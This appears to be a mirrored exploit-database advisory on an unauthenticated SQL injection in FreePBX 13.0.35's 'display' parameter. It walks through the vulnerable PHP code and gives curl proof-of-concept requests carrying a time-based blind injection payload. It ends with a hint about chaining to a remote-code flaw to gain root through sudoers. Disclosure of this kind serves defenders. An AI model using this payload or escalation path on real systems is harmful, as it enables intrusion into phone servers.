FreePBX 13.0.35 – SQL Injection

  • 作者: i-Hmx
    日期: 2016-08-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/40312/
  • Vulnerable software : Freepbx
    Tested version : 13.0.35
    vendor : freepbx.org
    Author : i-Hmx
    Email : n0p1337@gmail.com
    Home : sec4ever.com
    
    Freepbx suffer from unauthenticated sql injection flaw due to insufficient sanitization of "display" parameter
     
    File : admin/libraries/DB.class.php
    public function getAll($sql,$params=array(),$fetchmode=DB_FETCHMODE_DEFAULT) {
    //this is a sad workaround for people who couldn't follow documentation for functions
    $fetchmode = $this->isFetchMode($params) ? $params : $fetchmode;
    self::$error = null;
    try {
    $fetch = $this->correctFetchMode($fetchmode);
    if(!empty($params) && is_array($params)) {
    $this->res = $this->db->prepare($sql);
    ------->>>>> $this->res->execute($params);
    return $this->res->fetchAll($fetch);
    }
    $this->res = $this->db->query($sql);
    if($this->res === false) {
    return false;
    }
    return $this->res->fetchAll($fetch);
    } catch (Exception $e) {
    return new DB_Error($e);
    }
    }
    
    File : admin/libraries/modulefunctions.class.php
    Line 593
    function getinfo($module = false, $status = false, $forceload = false) {
    
    global $amp_conf, $db;
    $modules = array();
    
    if ($module) {
    // get info on only one module
    $xml = $this->_readxml($module);
    if (!is_null($xml)) {
    $modules[$module] = $xml;
    // if status is anything else, it will be updated below when we read the db
    $modules[$module]['status'] = MODULE_STATUS_NOTINSTALLED;
    }
    
    // query to get just this one
    ---===>>>> $sql = 'SELECT * FROM modules WHERE modulename = "'.$module.'"';
    }
    if ($module || !$modulelist->is_loaded()) {
    ---===>>>$results = $db->getAll($sql,DB_FETCHMODE_ASSOC);
    if(DB::IsError($results)) {
    die_freepbx($sql."<br>\n".$results->getMessage());
    }
     
    File : admin/libraries/modulefunctions.legacy.php
    Line 52
    function module_getinfo($module = false, $status = false, $forceload = false) {
    _module_backtrace();
    $modulef = module_functions::create();
    ---===>>> return $modulef->getinfo($module, $status, $forceload);
    }
    
    File : admin/views/noaccess.php
    <?php
    $display = isset($_REQUEST['display'])?$_REQUEST['display']:false;
    ---===>>> $modinfo = \module_getinfo($display);
    
    'display' parameter is being passed to sql execute() func without perior sanitization which lead to obvious sql injection flaw without any pre-needed authentication
    
    POC :
    
    Normal request
    
    [root:/fpbx]# curl -o /dev/null -s -w "Total request time : %{time_connect} + %{time_starttransfer} =%{time_total}\n" 'http://x.x.x.x/admin/config.php?display=f4ris'
    Total request time : 0.001 + 0.309 =0.334
    
    Sql injected
    
    [root:/fpbx]# curl -o /dev/null -s -w "Total request time : %{time_connect} + %{time_starttransfer} =%{time_total}\n" 'http://x.x.x.x/admin/config.php?display=f4ris"XOR(if(6661=6661,sleep(0.03),0))OR"*/'
    Total request time : 0.158 + 4.391 =4.417
    
    # Mix this with the 13.0.35 RCE one , and you are ok to get root just by echoing asterisk to the sudoers ;)
    # We're still ruling the game idiots , from Eg-R1z with dust xDD
    # ./f4ris